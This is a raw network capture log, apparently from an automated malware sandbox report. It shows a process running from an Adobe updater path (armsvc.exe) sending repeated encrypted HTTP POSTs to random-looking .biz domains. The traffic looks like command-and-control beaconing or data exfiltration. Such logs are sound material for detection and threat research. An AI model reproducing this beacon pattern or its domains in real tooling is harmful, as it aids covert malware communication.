Oct 31, 2024 16:04:38.345880032 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4cc8e19fcec3a7473cdfc77024d3911a\|173.254.250.77\|1730387078\|1730387078\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49216	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:38.641983032 CET	349	OUT	POST /lkklmy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:38.642092943 CET	850	OUT	Data Raw: 35 e0 88 46 d6 fc 7f c4 46 03 00 00 65 90 95 07 c6 e7 44 d7 79 2f 30 54 4c 4a ca 61 d5 57 4d 31 0b 1d 62 16 38 f1 f5 b2 3a 6e 42 5b 72 83 6a b0 d4 16 55 12 6c 1a 3d 7a 10 06 f9 11 91 50 87 a1 00 6e 00 5c b6 38 35 fc 44 05 22 e4 c9 43 93 b2 02 4b Data Ascii: 5FFeDy/0TLJaWM1b8:nB[rjUl=zPn\85D"CK\|Smu>mZB:bG]HbM>ihST! BOOrNZ21s 4}`3ac:Md\|P=!ZY&j@7:4u9)BbPl91LaT<D$
Oct 31, 2024 16:04:40.071455956 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ab78fecc56310b8b3bfe0e3a5c8eef83\|173.254.250.77\|1730387079\|1730387079\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49217	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:40.163203001 CET	347	OUT	POST /uxtifi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gnqgo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:40.163242102 CET	850	OUT	Data Raw: 85 9f 5c 37 df e9 ba ae 46 03 00 00 ac 6d 39 da 47 57 d2 af ab 5d c9 d1 fe e0 e4 1d ac eb 01 f7 22 16 c8 22 f7 23 28 c6 f8 73 4b 9a 23 4d 2c 04 85 88 63 8d a3 a6 80 d7 68 43 2f 5d 45 be cb 9d 87 0f fb 4e 4c a8 fe f9 e1 3b ed ec 1e 1b 0d c7 c8 eb Data Ascii: \7Fm9GW]""#(sK#M,chC/]ENL;HnJL}-TaTT{iU>V#XCi6viY \|>{ceP>[Rwf86lCYfKXz%7TN >Yq
Oct 31, 2024 16:04:40.924976110 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5af453ae04b2738ea5e0fb6b19e3b144\|173.254.250.77\|1730387080\|1730387080\|0\|1\|0; path=/; domain=.gnqgo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49218	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:40.952934980 CET	355	OUT	POST /furcugoysad HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jhvzpcfg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:40.952974081 CET	850	OUT	Data Raw: aa 76 fc 16 76 3f 58 1e 46 03 00 00 ee 48 af d0 40 39 f1 6d cc 04 3b 5d 71 46 01 b9 6a e5 99 a3 cc 7f da 73 73 c6 ff f1 ee 72 8e ee 7d 9a 75 33 c2 8a 62 7a d6 e1 0a d8 15 09 4a 84 49 a8 ff 8a bf a0 07 6f ed fc e2 03 0e 9c 44 cc 8f 13 2e 3c 6d 0b Data Ascii: vv?XFH@9m;]qFjssr}u3bzJIoD.<m%~KyyG-try~%U%Vp:cjU&7F22KkXa)C)@sVE=-f8U/7:RH=;G}~+i@}+c?O{j.l
Oct 31, 2024 16:04:41.652496099 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=97a4d571dc9f74e84194955372e25519\|173.254.250.77\|1730387081\|1730387081\|0\|1\|0; path=/; domain=.jhvzpcfg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.22	49219	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:41.883009911 CET	350	OUT	POST /rvvfyb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:41.883047104 CET	850	OUT	Data Raw: 35 c2 9f a9 18 da 58 bf 46 03 00 00 2b ba 48 45 24 9c 40 83 e7 5d 90 76 cb 56 1c 2b 3c d7 26 54 2b e0 67 a9 34 52 c0 46 41 ca 5d 96 48 28 33 aa 44 09 09 a2 bd 43 eb 99 39 ba 3f d3 23 73 bf 37 f4 8e 5f 5b e0 d0 78 a9 f9 24 4f 70 ed aa 48 0b 45 38 Data Ascii: 5XF+HE$@]vV+<&T+g4RFA]H(3DC9?#s7_[x$OpHE80?vH)k[q5=PY56T>0W,P^>'ZR-CQNlWq86_i\7``FZoR4s)S-Jy=@bc
Oct 31, 2024 16:04:43.368016005 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e9ba6b2fef9bc726d8a69d5f17eef973\|173.254.250.77\|1730387083\|1730387083\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49220	18.246.231.120	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:43.476778030 CET	347	OUT	POST /ujbsxg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vyome.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:43.476814032 CET	850	OUT	Data Raw: e6 fd e6 50 97 5d a4 b7 46 03 00 00 fb ea d0 1c b5 c9 7c 21 11 ed 83 53 a8 71 e1 e5 f7 57 ab 9a b0 ed 27 cc 80 1b 25 16 69 6e fa 42 af 2b e7 87 7b c2 6e 2f f7 31 31 62 fd 26 dc 87 73 d8 d2 b5 36 8f 0c 02 2d 28 75 cf a4 37 d6 e4 ac 83 75 d3 da 8d Data Ascii: P]F\|!SqW'%inB+{n/11b&s6-(u7u?G7JPSD0w)M@)tHND!hG`db4'gC~^)mTuTKOW_S#< c*2r!NDKC[N?%~\
Oct 31, 2024 16:04:44.353239059 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9cf168c41db58780a89c257185e1914b\|173.254.250.77\|1730387084\|1730387084\|0\|1\|0; path=/; domain=.vyome.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49221	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:44.385449886 CET	346	OUT	POST /se HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yauexmxk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:44.385498047 CET	850	OUT	Data Raw: 71 49 89 e3 39 f8 a4 57 46 03 00 00 97 2c a8 84 3c 12 14 9f 95 b8 7e f2 ce 15 08 f4 1f e6 09 83 5d 65 44 d6 ea 12 c8 1e 29 a9 c8 d9 f7 08 1c 99 83 9f 46 df b6 4c b4 76 e8 23 3a f4 0d 13 b4 f6 14 1c 21 e5 1a b4 9c c0 f3 f0 cf 8c 2b 80 32 3c d5 d2 Data Ascii: qI9WF,<~]eD)FLv#:!+2<N%!$!c:JC*z, e-/zjC:54!S/%9_~0dbZ5'6{pP@BA/EpUp88\|'p3X.:U#(w
Oct 31, 2024 16:04:45.054054022 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6649175979fa5395ed876c2e7d2c3b51\|173.254.250.77\|1730387084\|1730387084\|0\|1\|0; path=/; domain=.yauexmxk.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49222	47.129.31.212	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:44.748588085 CET	353	OUT	POST /qqveddhfin HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:44.748622894 CET	784	OUT	Data Raw: 79 46 c5 44 c7 6d 5e 8b 04 03 00 00 0a 05 eb 8a 75 83 0b 3d eb 74 a0 c7 0f 98 0d d7 f1 63 2b 60 73 c3 c4 e1 82 e3 6e 84 1c 59 1c 3d 90 1a 37 1d c9 31 38 d3 31 eb 2e 37 68 be 73 ed 4b 91 83 be 32 1f d7 94 d6 50 9a 63 1f 43 ca 95 a6 26 81 ae 4b 66 Data Ascii: yFDm^u=tc+`snY=7181.7hsK2PcC&Kf/sM=;$c%bLe4]*@1m%C)_Qbn]Egr^[J]sl'(Lp_{hyRNQi\|\-1!lNsfd
Oct 31, 2024 16:04:46.205126047 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=908c96fe9aa1106aee1e8d054ba10aa7\|173.254.250.77\|1730387085\|1730387085\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49223	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:45.189412117 CET	351	OUT	POST /bwrhinanm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: iuzpxe.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:45.189445972 CET	850	OUT	Data Raw: 98 1c f1 c0 1a a5 6b 58 46 03 00 00 b4 03 ff d2 e2 56 75 aa 4f 32 14 a8 5e c0 fb 73 b4 4c af 75 93 df 8c 31 4b c1 b1 98 d3 42 db 1f 9a e8 ad 37 a3 28 31 c2 c5 ba 19 43 b8 31 09 06 aa 77 06 74 08 35 e8 22 1c f6 ea 27 c9 4b 3e 61 e4 81 85 fb 98 c8 Data Ascii: kXFVuO2^sLu1KB7(1C1wt5"'K>a.Y;k=ld5a)rWkvra&q.LzXEim6F5gY.\|]j &M{.x~Z54AcnjA79b#)F},G!2
Oct 31, 2024 16:04:46.669159889 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3e1c82fd414f80f988862596f825a864\|173.254.250.77\|1730387086\|1730387086\|0\|1\|0; path=/; domain=.iuzpxe.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49224	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:46.232157946 CET	343	OUT	POST /g HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:46.232168913 CET	784	OUT	Data Raw: 60 78 93 4b 7e 83 8b 5e 04 03 00 00 d9 e8 f8 1c ee ea 60 7a 40 f1 53 d0 7f 2d a0 b3 f9 1b 74 53 48 ff e6 c5 fa 02 c7 9b 1f 99 93 a4 35 5a 53 e7 62 9e 23 0a b0 f0 07 dc 07 e2 3e d6 b6 1e 46 29 82 8e 6a 4f a7 d9 87 7d 4b 8e ca fe 6b c4 77 a9 db 93 Data Ascii: `xK~^`z@S-tSH5ZSb#>F)jO}Kkw b UwY/ls+>x=676DB(hy:m{l_hGH,R#-UqBrCnn'Hy%tq&]M+t:"Dx]d.=C\|G
Oct 31, 2024 16:04:47.675139904 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8f96b14db0a0b1eb4b12ee5607f0aac4\|173.254.250.77\|1730387087\|1730387087\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49225	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:46.700895071 CET	351	OUT	POST /monxrc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: sxmiywsfv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:46.701003075 CET	850	OUT	Data Raw: e5 df fd b2 da 3b 7d b1 46 03 00 00 46 8d 4f ed 6e 9f 71 19 8b c1 aa c3 4c a5 6f 68 37 40 69 a5 4f 04 a8 43 73 2d 9f a6 ed e0 83 07 01 44 fe b4 8f 89 cd d9 8d 10 37 78 2d fc 8d 06 03 d6 a5 f1 1b 9b 2b 77 c0 24 9b 35 22 71 ae 36 28 22 b8 d5 21 f3 Data Ascii: ;}FFOnqLoh7@iOCs-D7x-+w$5"q6("!}}A![z;}E:S&`8V)HK2i=dSqhuvJV(X&^>R<a;WzA7RtX9:[%%1A@Oaz&Qm}x6
Oct 31, 2024 16:04:48.132766962 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c1eaa7ebd10282dc5358878d7bbaf7ac\|173.254.250.77\|1730387087\|1730387087\|0\|1\|0; path=/; domain=.sxmiywsfv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49226	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:48.067677021 CET	358	OUT	POST /bjrgmptusqrnn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:48.067691088 CET	784	OUT	Data Raw: dc a1 16 5b c9 38 71 25 04 03 00 00 d1 2c bb 8e 77 18 f0 eb 6a ef 76 a0 52 ac db 4d ef 15 22 65 31 1b 37 88 67 ec 87 3f b3 ae c0 a8 2f 07 9a f9 9b 2f 83 00 47 4e 5b 08 e9 0c ad cc fb 27 eb 04 e3 c5 96 67 f5 b1 d7 a6 25 0a 5f 0c d8 49 21 4e 42 ca Data Ascii: [8q%,wjvRM"e17g?//GN['g%_I!NBPc6zBf";K=Nq9}W+ [D-q{1!U7!J\8X1@V}TN,'yKELAy082H9 +9_^p?DI9};
Oct 31, 2024 16:04:48.746299028 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6b12397a20aae07fa0695f9e3a3221ac\|173.254.250.77\|1730387088\|1730387088\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49227	34.211.97.45	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:48.165030003 CET	357	OUT	POST /qdimmxjqhllqp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vrrazpdh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:48.165061951 CET	850	OUT	Data Raw: 9c 47 10 c3 32 3c 4b 09 46 03 00 00 b6 5e b3 f5 8d 0a a2 87 52 fd 65 25 21 68 d4 07 69 7e 77 7e 4d 20 b6 e8 c6 60 5c 5e 55 ab e8 6b 5d 8a c0 09 0c 4d fa d7 92 e1 a3 ab 4c 02 b1 25 82 fc ba 48 c4 35 d9 97 35 59 1a 14 e3 e2 4c 44 ce d2 49 bf ac 5f Data Ascii: G2<KF^Re%!hi~w~M `\^Uk]ML%H55YLDI_@/?\|@)uR5Lt8dGzkZla7Bo!hhoQIDs'9ND5f!@qHBe.Y 1a]Wh1Up,Y_q#8&LB}
Oct 31, 2024 16:04:48.986228943 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3a448a28815ef33db2ef5ab009881101\|173.254.250.77\|1730387088\|1730387088\|0\|1\|0; path=/; domain=.vrrazpdh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.22	49228	47.129.31.212	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:49.090960979 CET	351	OUT	POST /oxotymrcy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ftxlah.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:49.090976000 CET	850	OUT	Data Raw: 58 5d 6e 4c 33 ec aa 24 46 03 00 00 e9 2f a1 b0 ee 51 58 7d 1f 00 b9 7d 1f 41 d0 4e 1d ff 51 cf 34 24 b0 87 98 b2 d0 01 ac 80 49 83 b6 75 76 6d 71 88 3f ff 75 e6 e9 30 26 54 fe 78 ae 59 8b a4 25 2b 33 f4 9a 5a 9e 06 04 1e d2 16 e2 36 18 71 72 b7 Data Ascii: X]nL3$F/QX}}ANQ4$Iuvmq?u0&TxY%+3Z6qrU%/SX_\TVH&$9"%xy/d`u@,>/A2G937"F?=R #?z& EmzXS !YU:":w*0WfSBNl0j
Oct 31, 2024 16:04:50.556900978 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=dfb2c2e3237b5a85936693600e6cc9a1\|173.254.250.77\|1730387090\|1730387090\|0\|1\|0; path=/; domain=.ftxlah.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.22	49229	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:49.114799023 CET	356	OUT	POST /utjvkgqwflxhq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:49.114834070 CET	784	OUT	Data Raw: fc 2f af 99 8a d5 09 df 04 03 00 00 b6 77 7c 90 81 57 2a 61 49 b8 ec ce f2 77 24 5c 6d f0 25 0c 47 2d d0 74 65 eb 06 eb ac dd aa 41 7b 17 f2 b9 98 11 dd e6 74 8a 66 09 26 52 4a 4b a5 c7 42 0e 63 30 57 8f f3 07 0b 97 97 44 d6 9f ea c5 00 f9 84 26 Data Ascii: /w\|W*aIw$\m%G-teA{tf&RJKBc0WD&\|DeG\R\YMRbaCzQp^r>xP;6yE:wb8]DNU!,"+dKu(oDK"h=;@OpbMU0B,^\aYV$u]^\|p69
Oct 31, 2024 16:04:50.545140982 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=87336fb001132e8341855685074c8642\|173.254.250.77\|1730387090\|1730387090\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.22	49230	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:50.628467083 CET	354	OUT	POST /dxiyoposcsn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: typgfhb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:50.628524065 CET	850	OUT	Data Raw: 0a b1 b7 28 fa 02 a2 04 46 03 00 00 98 68 ab fc 0d 43 41 05 84 7f 2a 6f cf 8f 12 36 ef 63 16 79 8e aa b8 b2 82 0b b7 ce ff 45 43 02 3a 46 1a ef 5f 29 9a 1e ff 35 6d 68 81 28 3c 59 10 4b 5d 4e 02 97 56 04 c6 1a 67 d1 a9 ef 4f 06 73 bf cd d4 f7 7d Data Ascii: (FhCAo6cyEC:F_)5mh(<YK]NVgOs}0jjXB#)N.T3%-6:0p0;N_<8w\krAN(nKN{LW* dm*)U2B^XH!<
